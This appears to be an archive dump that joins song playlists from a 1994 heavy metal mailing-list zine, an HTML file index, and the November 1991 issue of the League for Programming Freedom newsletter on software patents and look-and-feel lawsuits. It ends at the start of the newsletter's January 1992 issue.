Song 2: "The Meetings" ("The Eye", Chapter 8) by King Diamond
Song 3: "Eat Me Alive" by Judas Priest
Song 4: "Children of the Grave" by Black Sabbath
Song 5: "Milk" by Anthrax
Song 6: "Seasons in the Abyss" by Slayer
Song 7: "What You're Doing" by Rush
Song 8: "She" by Kiss
Song 9: "Victim of Changes" by Judas Priest
Song 10: "The Number of the Beast" by Iron Maiden
Song 11: "Crazy Train" by Ozzy Osbourne
Song 12: "I Am The Law" by Anthrax
Song 13: "Suicidal Failure" by Suicidal Tendencies
Song 14: "Spirit in Black" by Slayer
Song 15: "NIB" by Black Sabbath
Song 16: "Keep It In the Family" by Anthrax
Song 17: "How the Gods Kill" by Danzig
Song 18: "Left Hand Path" by Entombed
Song 19: "Heavy Metal Song" by Molibdenus
Song 20: "A Lost Forgotten Sad Spirit" by Burzum
Issue #11 - 5/31/94
-------------------
Song 1: "1642 Imprisonment" ("The Eye", Chapter 9) by King Diamond
Song 2: "No Good (Attack the Radical)" by Pantera
Song 3: "Evil Warriors" by Possessed
Song 4: "All That Remains" by Fear of God
Song 5: "Nuns Have No Fun" by Mercyful Fate
Song 6: "Use My Third Arm" by Pantera
Song 7: "Metal Militia" by Metallica
Song 8: "Hell Or High Water" by AC/DC
Song 9: "Gridlock" by Anthrax
Issue #12 - 6/21/94
-------------------
Advertisements
Song 1: "The Curse" ("The Eye", Chapter 10) by King Diamond
Song 2: "Prologue" ("Them", Chapter i) by King Diamond
Song 3: "Out From The Asylum" ("Them, Chapter 1) by King Diamond
Song 4: "Soul-Crusher" by White Zombie
Song 5: "Breaking The Law" by Judas Priest
Song 6: "Belly of the Beast" by Anthrax
Song 7: "The Immigrant Song" by Led Zeppelin
Song 8: "God of Thunder" by Kiss
Song 9: "Computer God" by Black Sabbath
Song 10: "Triumph of Death" by Hellhammer
Issue #13 - 6/28/94 --> LISTSERV Celebration Semi-Mega Issue!
-------------------------------------------------------------
Experiences with: Pantera/Sepultura/Biohazard Concert
Song 1: "Welcome Home" ("Them", Chapter 2) by King Diamond
Song 2: "Dirty Deeds Done Dirt Cheap" by AC/DC
Song 3: "Startin' Up a Posse" by Anthrax
Song 4: "Ram it Down" by Judas Priest
Song 5: "Great Expectations" by Kiss
Song 6: "Weekend Warrior" by Iron Maiden
Song 7: "Last Caress/Green Hell" by Metallica
Song 8: "So What" by Ministry
Song 9: "I Don't Know" by Ozzy Osbourne
Song 10: "A New Level" by Pantera
Song 11: "Behind The Wall of Sleep" by Black Sabbath
Song 12: "Murder" by Sepultura
Song 13: "Reborn" by Slayer
Song 14: "Join The Army" by Suicidal Tendencies
Song 15: "Black Sunshine" by White Zombie
Song 16: "Countdown To Extinction" by Megadeth
Issue #14 - 7/6/94
------------------
Song 1: "The Invisible Guests" ("Them", Chapter 3) by King Diamond
Song 2: "Holy Wars...The Punishment Due" by Megadeth
Song 3: "502" by Megadeth
Song 4: "The Conjuring" by Megadeth
Song 5: "Blood Red Skies" by Judas Priest
Song 6: "War Inside My Head" by Suicidal Tendencies
Song 7: "The Antichrist" by Slayer
Song 8: "Anything" by Danzig
Song 9: "Country Girl" by Black Sabbath
Song 10: "Fuck Me Dead" by ????
Issue #15 - 7/12/94
-------------------
Reader's Survey
Song 1: "Tea" ("Them", Chapter 4) by King Diamond
Song 2: "2,000 Man" by Kiss
Song 3: "Among The Living" by Anthrax
Song 4: "TV Crimes" by Black Sabbath
Song 5: "Biotech Is Godzilla" by Sepultura
Song 6: "Mr. Crowley" by Ozzy Osbourne
Song 7: "Fritz Haarmann the Butcher" by Macabre
Song 8: "Handsome And Gretel" by Babes In Toyland
Song 9: "Live Undead" by Slayer
Song 10: "Disposable Heroes" by Metallica
Song 11: "Black Moon" by Black Sabbath
Song 12: "Fool You" by King's X
Song 13: "Doctor Rocktor" by WASP
Issue #16 - 7/19/94
-------------------
Concert Review: Babes In Toyland
Song 1: "Mother's Getting Weaker" ("Them", Chapter 5) by King Diamond
Song 2: "Tormentor" by Slayer
Song 3: "Aces High" by Iron Maiden
Song 4: "Dead Embryonic Cells" by Sepultura
Song 5: "This Love" by Pantera
Song 6: "Haunting the Chapel" by Slayer
Song 7: "Ride The Lightening" by Metallica
Song 8: "Black Sabbath" by Black Sabbath
Song 9: "Rime of the Ancient Mariner" by Iron Maiden
Issue #17 - 7/26/94
-------------------

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The League for Programming Freedom (1991-1992)
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<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf1.txt">lpf1.txt</A> <tab to=T><TD> 33795<BR><TD> League for Programming Freedom Issue #1 (November 1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf2.txt">lpf2.txt</A> <tab to=T><TD> 25719<BR><TD> League for Programming Freedom Issue #2 (January 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf3.txt">lpf3.txt</A> <tab to=T><TD> 23973<BR><TD> League for Programming Freedom Issue #3 (March 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf4.txt">lpf4.txt</A> <tab to=T><TD> 27377<BR><TD> League for Programming Freedom Issue #4 (June 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf5.txt">lpf5.txt</A> <tab to=T><TD> 28612<BR><TD> League for Programming Freedom Issue #5 (August 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LPF/lpf6.txt">lpf6.txt</A> <tab to=T><TD> 34113<BR><TD> League for Programming Freedom Issue #6 (November 1992)
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The League for Programming Freedom (1991-1992)
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<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf1.txt">lpf1.txt</A> <tab to=T><TD> 33795<BR><TD> League for Programming Freedom Issue #1 (November 1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf2.txt">lpf2.txt</A> <tab to=T><TD> 25719<BR><TD> League for Programming Freedom Issue #2 (January 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf3.txt">lpf3.txt</A> <tab to=T><TD> 23973<BR><TD> League for Programming Freedom Issue #3 (March 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf4.txt">lpf4.txt</A> <tab to=T><TD> 27377<BR><TD> League for Programming Freedom Issue #4 (June 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf5.txt">lpf5.txt</A> <tab to=T><TD> 28612<BR><TD> League for Programming Freedom Issue #5 (August 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="lpf6.txt">lpf6.txt</A> <tab to=T><TD> 34113<BR><TD> League for Programming Freedom Issue #6 (November 1992)
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_______________________________________________________
| |
| November 1991 -==- Volume I Number 1 |
| |
| PROGRAMMING FREEDOM - online edition |
| league@prep.ai.mit.edu |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| Phone: (617) 243-4091 (voicemail only-leave your |
|address or phone number, and we'll answer your query)|
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><>Table of Contents<><><><><>
Election meeting notice: new location
X-Windows memorandum --==-- MIT Lab for Computer Science
LPF Protests Pike
Opinion --==-- Bill Kennedy: What LPF Should Be Doing & Editor's reply
Len Tower's Summer Vacation (?) - Speaking about and for LPF
A typical RMS speaking tour schedule
LPF at Fall '91 Comdex --==-- Chris Hofstader, LPF Secretary
Volunteer requests: speakers and publicity distributors at conferences
International Patents Treaty --==-- Jack Larsen, LPF President
LPF Boutique: LPF Tshirts, posters, postcards, and mugs
<><><><><>LPF Annual Meeting<><><><><>
The LPF annual meeting will take place at 8pm on Sunday, December 15 in
the 7th floor playroom at 545 Tech Square, Cambridge, Massachusetts. <>
<><><><><>X Window Update<><><><><>
[Because of the importance of this release, we reproduce it in its entirety.]
Memorandum to: Members of the X Consortium September 24, 1991 From: MIT Lab
for Computer Science Subject: U. S. Patent No. 4,555,775 (Pike), Issued to
AT&T on Nov. 26, 1985 for "DYNAMIC GENERATION AND OVERLAYING OF GRAPHIC
WINDOWS"
In February 1991, AT&T sent letters to MIT and to members of the X
Consortium, notifying the community that the "backing store" functionality
available in the X Window System is an implementation of a patented AT&T
invention, and that consequently, companies or institutions commercially
marketing or internally developing products based on an X Window System
implementation will need a license from AT&T. Since MIT developed the X
Window System and distributes it widely, we were deeply concerned by AT&T's
action, and we conducted a thorough technical analysis of the patent and
similar window system technology. MIT also retained counsel to provide us
with an expert legal opinion. Both our technical analysis and the legal
opinion conclude that AT&T's claim with respect to the X Window System cannot
be sustained.
Patent #4,555,775 was applied for in 1982 by Robert Pike and issued in
1985 to his employer, Bell Laboratories. It describes a variation of graphics
drawing algorithms that enables a single display screen to support overlapping
windows, in which several programs can be active simultaneously. It is our
opinion that this same capability was present in window systems that predated
the Bell Laboratories' work.
The Bell Laboratories' work, the X Window System, and previous window
systems all use different variants of the same basic methodology (storing
obscured regions of windows as off-screen bit maps). Both our legal and
technical analyses agree that each of the patent's claims is either so broad
as to have been anticipated by prior art, or so narrow as to apply only to the
`775 patent's specific algorithm and not to the X Window System.
AT&T has requested the Patent Office to open the `775 patent for
reexamination, which will give AT&T an opportunity to clarify the patent's
claims. We hope that AT&T will seek there to recognize the contribution of
the work on which it is based while not casting its claims beyond the specific
methodology involved. MIT is very willing to work with AT&T toward reaching
this goal and is exploring ways in which this can be done.
From a broader perspective, the confusion over the `775 patent
illustrates the difficulties raised by the increasing number of patents issued
on software technology. We would welcome the opportunity to join with AT&T,
other companies, and the university community to explore ways to alleviate
these problems. Software is an area in which prior art is often difficult to
identify and in which obviousness differs significantly from one perspective
to another. The recent proliferation of software patents is creating pressure
on software developers to seek patent protection for straightforward ideas,
and increasing pressure to claim broad applicability of software patents, well
beyond the scope of any original invention. These practices introduce a
chilling effect on university research, and they undermine our ability to
pursue ideas in a free and open climate. In as much as these practices attack
the university's central goals and its obligation to disseminate information,
they are a matter of utmost seriousness to MIT. <>
<><><><><>LPF protests Pike<><><><><>
CAMBRIDGE, MA, November 18, 1991 -- Rob Pike, a software designer from
AT&T Bell Labs, expected to deliver an ordinary seminar on his latest research
project. Instead, he found a room filled with programmers carrying signs to
protest the consequences of his previous project: the AT&T "backing store"
patent which AT&T has used to threaten all the members of the X Consortium,
including MIT itself.
Of the approximately 80 people present at the talk, about 50 carried
protest signs. The protestors did not try to interfere with the seminar.
They simply raised their signs as Pike began to speak. This accomplished the
purpose of making their ire known. <>
<><><><><>Letter<><><><><>
Guest Opinion: --==-- by former LPF member Bill Kennedy
Before I joined up there was some very interesting discussion about LPF
on a mailing list I'm on. The consensus opinion agreed pretty closely with
the preliminary material I got before I joined. I'm in complete support of
the philosophy as stated, my consulting practice depends on my being able to
produce unencumbered software tools.
Once the mailing lists started up the discussions started sounding like
the things I was interested in but quickly deteriorated into stereotypical
usenet style chatter. It's pretty difficult to enforce decorum when the
transport is a reflector, but I find that the contributors enforce the decorum
if they are sober and professional about what they're trying to talk about.
I'm too old for the kinds of things that the newbies and wannabes are talking
about and I've got (at least I think so) more to lose. My sole source of
income is my solo consulting practice and I take it very seriously.
I don't think that you can defeat the [business] suits with
demonstrations and tee shirts. I think that you do it kind of like you defeat
the problems of discrimination in the workplace. Discrimination is bad for
business and it doesn't make two hoots which side of the issue you're on.
Discrimination has been around since the Old Testament but it's still bad for
business. I think that the expropriation of software techniques and the
attendant extortion is bad for business too. Businesses learn what's bad for
business through education and observation, seldom through legislation and
never from demonstrations and tee shirts...
The kinds of things that LPF should be doing is educating and persuading.
We don't have a federal, state, or local government that knows beans about the
technological realities and we're not going to teach them or make them
understand as long as the Robert Morris' and Len Roses are their only viewport
into the world where we live and work...
If I author a book my copyright is limited to the content of the book but
not the size of paper or method of binding. I'm perfectly free to make
reasonable citations from other intellectual property without infringing on
another copyright. When you deal with machines that can only count to one
there aren't a whole lot of things as unique as a book, play, song, poem, or
other authored work. Moreover, the real creativity is in the composite fabric
of the work since its components are pretty well understood and pretty
ordinary. I vigorously object to any person or organization claiming
copyright to something pretty well understood and pretty ordinary. When the
system fails and such a copyright is claimed then it is up to the legislature
and courts to remind the claimant their copyright is poppycock.
We can't depend on our courts or legislatures to do that today because
they are too ignorant. They can't get any better or smarter unless/until
someone can overcome their ignorance...That's where I thought LPF came in.
This is supposed to be a group of professionals who _do_ understand the curvy
and twisted passages and should be able to explain it so that the suits have
no place to hide. When the suits have no place to hide and realize what they
are doing is bad for business they'll actually *help* us finish the education
of the courts and legislatures. This is how I perceive LPF's purpose and
responsibility but what I read is a lot of nit picking and bickering. There's
a lot of roaring and groaning about things that are 100% peripheral to the
things that affect my livelihood (and theirs too, but they don't seem to feel
it's as crucial as I do)...
The problems will not get solved with righteous indignation or fist
shaking. So what's the grey-beard master-old-hacker going to do about it?
I'm going to pretty much proceed as I have been. When a particularly stupid
piece of legislation is or is about to be introduced I'll write my legislator.
It's a simple curbstone English description of what the bill is as contrasted
with what someone thought they understood when they wrote it. When someone
infringes on my copyright intellectual property I try to explain what they are
doing and why they shouldn't. The explanation isn't always as moderate when
it ends as it was when it started but that depends on how ignorant, stubborn,
or dishonest they are. I've made enough out of one settlement to break me
even on the others I've won (at a net loss) but my former adversaries are
better educated and less likely to infringe again. Did this intellectual
property contain components and concepts that weren't 100% original? Of
course they did, but my copyright is on the composite work and that is a very
narrow and easily defined effort. The creative combination of proven
techniques is the copyright, not the techniques themselves.
...If my creative effort produces something that I consider to be of
value then I feel free to protect it to the extent I feel matches its
perceived value. If nobody agrees with me, then they don't use it and don't
pay for it; I had a mistaken idea of its value, but it's my right to protect
it. I've contributed my fair share into the public domain and will continue
to do so. I've also retained copyrights to other material and will continue
to do so. If some suit thinks that he can intimidate me with a gold seal on a
ribbon saying he "owns" the binary search technique, he's crazy. If someone
says I should let anyone, willy nilly use my work, he's crazy too. I'm not
really concerned about the latter but the former has my undivided attention.
You see, that's what I thought you guys were doing. It may very well be
that it really *IS* what LPF is doing but I can't see it for the smoke or hear
it for the noise. <>
internet bill@ssbn.WLK.COM or ssbn!bill@attmail.COM
uucp {att,cs.utexas.edu,pyramid!daver}!ssbn.wlk.com!bill
<><><><><>
The Editor's reply: Bill, you have to remember that league-tactics is an
all-purpose discussion mailing list for all aspects of software patents and
look-and-feel lawsuits, as well as members' suggestions for activities. It
is, as you pointed out, an unmoderated list for everyone, not just software
consultants, so we're not surprised that it isn't focused enough on your
specific concerns. It doesn't report on what the LPF is doing - that's what
this newsletter is for.
We *are* trying to educate and persuade: a new position paper is coming
out in a future Dr. Dobbs Journal; the Fall '91 Issues in Science and
Technology has six pages on "Why Patents Are Bad for Software" by Garfinkel,
Stallman, & Kapor, and we had a significent presence at Fall Comdex.
We are also trying to reach the public. Demonstrations will get 10
seconds of broadcast time because of their visual nature, while position
papers never will.
LPF is still small; we want programmers to tell other programmers to join
and tell other [iterate]... so that we can get large enough to affect
legislative efforts, etc. We haven't filed amicus curae briefs because these
are usually used on appeal, and none of the look-and-feel cases has reached
that stage.
We believe that your letter, from a soon-to-be former LPF member, will
generate a productive discussion, both in and out of the organization, as to
what the LPF is, and what itshould be doing to affect the laws on software. <>
<><><><><>Speakers<><><><><>
What I Did on My Summer Vacation --==-- by Len Tower
During a three week visit to family in the Pacific Northwest in August, I
set aside 4 days to speak on programming freedom issues. I spoke seven times
in three cities: Corvallis & Portland, OR and Seattle, WA. Audiences included
user groups, companies, and a technical book store seminar series.
I solicited sponsors and dates by e-mailing to people in OR/WA and asking
them to put me in touch with likely sites. These people included friends, LPF
members (ask league@prep.ai.mit.edu) and GNU volunteers (ask
gnu@prep.ai.mit.edu). A local sponsor handled publicity based on an abstract
of the talk I provided. Methods used included postings to company mailing
lists and regional USENET newsgroups, flyers, articles in company and store
newsletters, and newspaper announcements and ads.
I prepared a 40 minute talk on both LPF issues from our newsletters and
two position papers, which left plenty of time for questions (which were often
answerable from material in the position papers that I didn't have time to
cover).
When I do this next time, I'll vacation in a different month. Many
colleges are between terms at the end of August and the academic crowds were a
bit thin.
I'd like to thank all my hosts and audiences, and in particular my lady's
parents.
I urge more of you to try speaking about our issues. It's a fun,
interesting and easy way to help our cause. <>
<><><><><>Speakers<><><><><>
Richard Stallman has been doing another wave of speeches, in the United
States and Europe from late Sept. through mid--Nov. First four talks in the
Southwest, in Albuquerque, Los Alamos, Las Vegas, and Tucson; then three in
the Midwest, in La Crosse, Madison, and Minneapolis. The talk in Las Vegas
was designed to find more helpers for the League's COMDEX activities.
Then he went to Italy, France, and England for eight more talks and for
meetings with members of Parliament in Italy and France. With luck, LPF
organizations in Italy and France will be started by this trip. <>
<><><><><>Speaking Volunteers<><><><><>
Our members have often said that the LPF isn't visible enough. We agree
and are taking steps to change that, including finding more volunteer
speakers, establishing an online LPF online library, and a regular newsletter.
Besides editing this newsletter, I also serve as LPF coordinator, in
which capacity I run the speaker bureau. Richard M. Stallman and Len Tower
have done the bulk of our speaking engagements to date, but cannot be
everywhere at once. Our cloning attempts, despite Richard's views on copying,
have not yet succeeded. We would like more volunteers, with or without
previous experience, to speak to people around the world and inform them about
the software look-and-feel and patent issues. Anyone who would like to speak
about the LPF's positions, or who wants an LPF person to speak to their group,
please contact me at: spiker@prep.ai.mit.edu.
For instance, our President, Jack Larsen, can be reached at 708-698-1160,
FAX at 708-698-6221 (Park Ridge, IL), or email at jl@epsilon.eecs.nwu.edu. He
would be happy to explain the legal issues and status of court cases and
treaties to groups in the region. "I will go anywhere if travel expenses are
provided. If not, I can cover "Chicagoland", 12 million people from Milwaukee
WI to Gary IN."
Spike R. MacPhee
<><><><><>Conference Volunteers<><><><><>
We want more volunteers to hand out League materials and position papers
at computer conferences and meetings around the country and the world.
Contact league@prep.ai.mit.edu to request materials.
<><><><><>Conference Report<><><><><>
The LPF at Fall COMDEX '91 --==-- by Chris Hofstader, LPF Secretary
This is the third consecutive year that Gordon Schantz and I have worked
the Fall COMDEX show for the LPF and easily the single most successful.
In previous years the reactions to "Hi, I'm Chris Hofstader, officer,
director and cofounder of the League for Programming Freedom..." were:
1989 - "League for what?" or "What Freedom?" or "So?"
1990 - "We appreciate your efforts but please don't let anyone see you
with us." or "Is that GNU?" or "Isn't that Kapor's group?"
Now I can report that the visibility and respectability of the LPF has
grown profoundly. At one point we had everybody in Borland's, Microsoft's,
Stuart Alsop's, and Windows World Magazine's booths wearing LPF "fanged apple"
badges.
Thanks to our ten volunteers, an organization as small as the LPF had
terrific visibility. Even the hostess at the Las Vegas Hilton coffee shop was
distributing our buttons. More seriously, I was invited to many private
parties and had access to many people who lead the industrial side of this
business. The response was very positive. We will see more League publicity
and corporate support as a result. <>
<><><><><>Article<><><><><>
COPYING IN THE NEW WORLD ORDER --==-- by Jack Larsen, LPF President
We are told that we are living in a "new world order". In 1992 the
European Community will be one trading entity, and a real factor for Americans
who would trade abroad. Multinational companies welcome the reduction in
legal formalities regarding patents, trade marks and copy rights. What is not
so obvious is that the proliferation of trade treaties has a direct impact on
our internal law.
The battle for programming freedom has been elevated from the U.S.
District Court in Boston to the world stage; meanwhile Borland, the U.S.
Copyright Office, and ten prominent professors of copyright law have asked the
District Court to reconsider its Paperback decision of last year.
The International Agenda is marked by a number of developments which are
approaching international agreement. The first is an extensive amendment of
the heretofore innocuous Treaty of Paris which is intended to "harmonize" the
patent systems of the world. This treaty and the Berne Convention on
Copyright are both administered by the World Intellectual Property
Organization (WIPO). This treaty has been under consideration for several
years. A first session of the Diplomatic Conference was concluded in June,
and a second session is to be scheduled after conclusion of the Uruguay Round
trade talks in the GATT. The General Agreement on Tariffs and Trade, and the
trade agreements thereunder are the second major development. The U.S.
Congress has approved a "fast track" process to expedite approval for
agreements in the Uruguay involving patents.
New Trade agreements call for stringent reciprocal enforcement of
intellectual property "protection". Recent negotiations with China became
stalled by the U.S. insistence on criminal penalties for software copying.
This may be the rationale behind inclusion in the "Violent Crimes Act" passed
by the Senate of long jail terms for copying software.
Thirdly, the U.S. Commissioner of Patents and Trademarks has appointed an
Advisory Commission on Patent Law Reform the purpose of which according to
Commissioner Manbeck is to help "consensus forming" for the treaty.
In the first session of the Diplomatic Conference the United States was
alone to oppose the first-to-file rule of Article 9 of the Treaty. Article 10
which provided that "Patent protection shall be available for inventions,
whether they concern products or processes in all fields of technology." was
not supported, and remains for resolution in the second session. This raises
the hope that computer programs may be excluded from patent protection. All
in all Commissioner Manbeck did not encourage the delegates to expect the
United States to make fundamental changes in its laws, "unless others can
likewise agree to satisfy our needs."
An American delegate reporting on the meeting concluded: "It is apparent
that the likelihood of concluding a treaty in this area which, in its
totality, would be acceptable to the United States will require the United
States to embrace a first-to-file system of awarding patents". It has always
been under stood that the language of the Constitutional Grant bars the
adoption of a first-to-file system. If the Advisory Commission can help the
Commissioner convince the public that the gains from the treaty will outweigh
the damage to the Constitution, the treaty will make it all possible...
...Until the new world order, our commercial treaties did not challenge
settled constitutional rights...
...Congress itself was moved to create a special new kind of
monopoly...the Semiconductor Chip Protection Act of 1984, creating a new kind
of intellectual property not authorized by the copyright and patent clauses of
the Constitution,
The new Act provides for registration with the Copyright Office and
provides a term of protection limited to ten years. This law aimed at the
emerging semiconductor giants of the Pacific Rim was clearly to be
international in scope, and intended that in any challenge to the
constitutionality of the law, there would be a treaty to support the creation
of the new monopolies...The Diplomatic Conference convened by the World
Intellectual Property Organization (WIPO) in May 1989, adopted a "Treaty on
Intellectual Property in respect of integrated circuits". This new treaty was
approved by the votes of 49 nations. However, the United States and Japan
voted against the text finally approved. Both countries would not approve the
draft provisions for the requirement of "non-voluntary licenses" under certain
circumstances of National import. The U.S. and Japan control around 90
percent of the world production and trade in semiconductors.
The treaty is available to the United States if it is ever needed. It
has importance for several reasons. First, it is an example of the
internationalization of the creation of a new kind of monopoly. Secondly the
Treaty was prepared in a very short time, even before most countries
legislated on the matter.
Thirdly, while apparently of very narrow scope the negotiations were led
by the United States establishing precedents for other areas of intellectual
property and giving a new role in the field to GATT. Fourth, it contains
rules for the settlement of disputes applicable to GATT and other intellectual
property contexts, and finally developing nations took an active role in the
negotiations. This treaty provided a laboratory for the drafting of a new and
wide-ranging treaty purporting to harmonize patent laws between nations. It
shows the way to create new monopolies ,,,covering whatever line of
manufacture, trade or business which may be wrapped in a treaty package.
A New WIPO treaty was the subject of a "Diplomatic Conference begun June
3, 1991 at The Hague, and now adjourned. While seemingly technical, and not
commanding the attention of policy makers outside of the core of "experts",
patent attorneys, multinational corporations, and patent office bureaucrats,
this new Treaty has a potential for reversing fundamental principles of
American Patent law.
It does not represent mature thought on such problems as software
patents, the patentability of life forms, the standards of invention and
novelty and the duration of the monopo lies. The planned WIPO patent
harmonization treaty will cause serious problems for software developers in
the United States and wherever it is adopted. The treaty would both aggravate
the problem (by making patents last longer) and withdraw presently available
remedies, not the least of which is an appeal to the Supreme Court. That Court
has held many computer programs to be unpatentable as following outside of the
"useful arts"; but the treaty would include "all fields of technology".
Another provision of the treaty would make matters worse, by making patents
last longer, extending the life of a patent to 20 years or more. In an age
when the rapid advance of technology makes most technology obsolete much more
quickly than in the past, it would make more sense (in most fields) to shorten
the duration of patents.
The proposed treaty would make patents easier to acquire, easier to
enforce, and broader in coverage. For example the patent on a method would
carry with it the product of that process, whether already known, or produced
by a non-infringing process, and may permit and require patenting subject
matter beyond the present constitutional power of the United States.
Software patents are a new experiment which is working out badly. The
United States should not make the experiment permanent before the results are
known. And the Executive Branch should not use the "FAST TRACK" ratification
process to withdraw the issue from the realm of public debate. Properly, the
patent system is not just to encourage inventors, not just to enrich
entrepreneurs, not just to keep lawyers busy, its purpose is to "promote
science and the useful arts" for all of us by the teaching of the inventions
and discoveries. As the time for signing this treaty approaches, it is well
past time for the general bar, and the citizenry to be made aware of what is
afoot...
"Strict constructionists" and "original intent diviners" offer the
gadgeteers no more hope. As Justice O'Connor points out: "Today's patent
statute is remarkably similar to the law as known to Jefferson in 1793". The
original intent of the signatory states is to be found in the patent laws of
the colonies, which illuminate what is penumbra in the Constitution's patent
clauses. The founding fathers were gentry in an agricultural country. Well
aware of the burden of Crown imposed monopolies, Congress required in the very
first patent act that the invention be "sufficiently useful and important" to
merit the 14 year right of exclusion under that act. After the Court examined
the premises in Bonito Boats, it is clear that it will not repeal 200 years of
the American patent system, which for much of that time led the world. But
the pressure by the peddlers of gadgets and the titans of industry for new,
cheaper, and more broadly applied monopolies is unrelenting. For them a
better way has been found. A way that takes the Supreme Court, and the House
of Representatives out of the loop. The revision of the Treaty of Paris, to
be considered by WIPO in the Second Half of the Diplomatic Conference begun
this year at The Hague, and adjourned to a time next year and place yet to be
announced. The treaty would impose an increased minimum term for patents,
highly inappropriate in view of the accelerated pace of science and
technology. It would grant patents to the first-to-file, rather than the
first inventor, thus diverting into a race to the Patent Office, energy which
better may be devoted to science.
The delegates to the several meetings of "Experts" leading up to this
Conference, with few exceptions have been patent professionals, wholly
unprepared to appreciate the economic and social impact of the patent system,
concerned only with the cost and efficiency of extracting the monopolies from
the governments. With the new Budget bill, our Patent and Trademark Office is
to be funded by "user fees". The Patent Offices of the World, by this
proposed treaty, would be combined by the special patent tribunals of the
world joined in this device "to get a broader, looser conception of patents
than the Constitution contemplates", again to rephrase Mr. Justice Douglas.
The indirect cost of patent monopolies, like the cost of the Savings and
Loan mess is "off budget" but it should not be ignored. The indiscriminate
creation of exclusive privileges through cheap and easy patents, in the words
of Justice Bradley a century ago: "creates a class of speculative schemers who
make it their business to watch the advancing wave of improvement, and gather
its foam in the form of patented monopolies, which enable them to lay a heavy
tax upon the industry of the country, without contributing anything to the
real advancement of the arts. It embarrasses the hones pursuit of business
with fears and apprehensions of concealed liens and unknown liabilities to
lawsuits and vexatious accountings for profits made in good faith."
In no area of technology has this scheming been more blatant than in the
proliferation of so-called "inventions" and patent applications involving
computer programs. Already the practical difficulty experienced by the Patent
and Trademark Office in the "examination" of such applications has resulted in
a de facto repeal of the Constitutionally mandated Section 103 of the law. In
the new world order those schemers will more likely be living and working in
Bombay, Bangkok, or Beijing, than in Canton, Cleveland, or Cincinnati.
...Yet the treaty loop hole threatens our fundamental structure. The
greater iniquity is that a Treaty, unlike a statute or even the Constitution
cannot be amended, or its burdens ameliorated by the actions of our People or
our Congress. We will be held to the least-common-denominator of the world
community. <>
<><><><><>LPF Boutique Materials Available from the League<><><><><>
Buttons
We have reprinted the famous ``fanged apple'' buttons. These buttons
show the symbol of Apple computer with an alien snake's body and face.
You can buy buttons by mail from the League, for $2 each, in quantities
of at least three. We give out buttons at events, but ask for a donation.
Stickers
We also have stickers showing Liberty Empowering the Programmer, with the
League's name and address.
You can order stickers by mail from the League at the price of $5 for 10
stickers; for larger orders, phone us to discuss a price. We hand them out
free when it is convenient, such as at our events, but since mailing packages
to individuals costs money, we want to make it an opportunity to raise funds.
Post stickers at eye level and separated from other posted articles, to
make them easy to see. The stickers are not made to survive rain.
Liberty Postcards
We also have postcards showing Liberty Empowering the Programmer, with
the League's name and address. Same terms as the stickers.
Large Liberty Posters
We have a few posters with the same image that is on the stickers,
approximately 2.5 ft by 1.5 ft. We used such posters to make signs for the
protest rally. If you need some, talk with the League and we'll work out a
deal. Coffee Mugs
Our coffee mugs have the Fanged Apple design in full color on one side
and ``League for Programming Freedom'' on the other. They hold twelve ounces
and are microwave safe. Not available until Feb. 92.
You can order a mug for $10, nonmembers $12.. They will not be ready
until Jan 1992. T-Shirts
Michael Ernst has produced t-shirts with Liberty and ``League for
Programming Freedom'' on the front and ``Stop Software Monopolies'' on the
back. (The back slogan will change from time to time.) You can order shirts
by mail from the League for $12 (which includes $2 for mailing). Available
colors are yellow, blue and tan; if you specify a color, we will assume you
would rather have the other color than no shirt. If you want a chosen color
or nothing, say so explicitly. Please specify the shirt size! (M, L or XL.)
Position Papers and Memberships
We will send anyone a copy of the League position papers. If you want
other copies to hand out at an event, we'll send you as many as you need.
Please discuss your plans with us. One-year memberships are $42 for
professionals, $10.50 for students, and $21 for others <>
<><><><><>Newsletter Volunteers<><><><><>
We would like volunteers to work on the newsletter. Our special thanks
to Betty Lou McClanahan and Carol Botteron for proofreading and editing help
with this issue. Contact Programming Freedom at league@prep.ai.mit.edu

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_______________________________________________________
| |
| January 1992 -==- Volume I Number 2 |
| |
| PROGRAMMING FREEDOM - online edition |
| league@prep.ai.mit.edu |
| |
| The Electronic Newsletter of |
| The League for Programming Freedom |
| 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 |
| Phone: (617) 243-4091 (voicemail only-leave your |
|address or phone number, and we'll answer your query)|
| Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) |
| Reproduction of Programming Freedom via all |
| electronic media is encouraged. |
| To reproduce a signed article individually, |
| please contact the author for permission. |
|_____________________________________________________|
<><><><><> TABLE OF CONTENTS <><><><><>
Annual meeting minutes, election results: Board of Advisors approved
News: a Math Programming Society committee takes stand against patents
Help publicize the League by writing to magazines - Johnathan Vail
LPF magazine publicity: Jan CACM, Jan SunExpert, Feb Embedded Systems
Mail, localgroups, signature publicity
League-activists mailing list is now moderated
President Larsen speaks at Oct CPSR - Adam J Richter
LPF at ARISIA sf con in Boston - Johnathan Vail
LPF convention publicity
rms response to editor's comments on Nov Kennedy article
GATT Treaty Excerpts - commentary by Richard M. Stallman
Final results of the direct mailing experiment
LPF Boutique
<><><> Annual meeting minutes; Board of Advisors approved <><><>
Minutes of the 1991 Annual Meeting of the LPF
Introduction:
The following is the record of the League for Programming Freedom's
1991 annual meeting as reported by LPF Secretary Christian D.
Hofstader. The meeting was recorded by Sara Thompson, visual
assistant to Chris Hofstader.
The Minutes:
The meeting was called to order by Chris Hofstader at 20:15 on
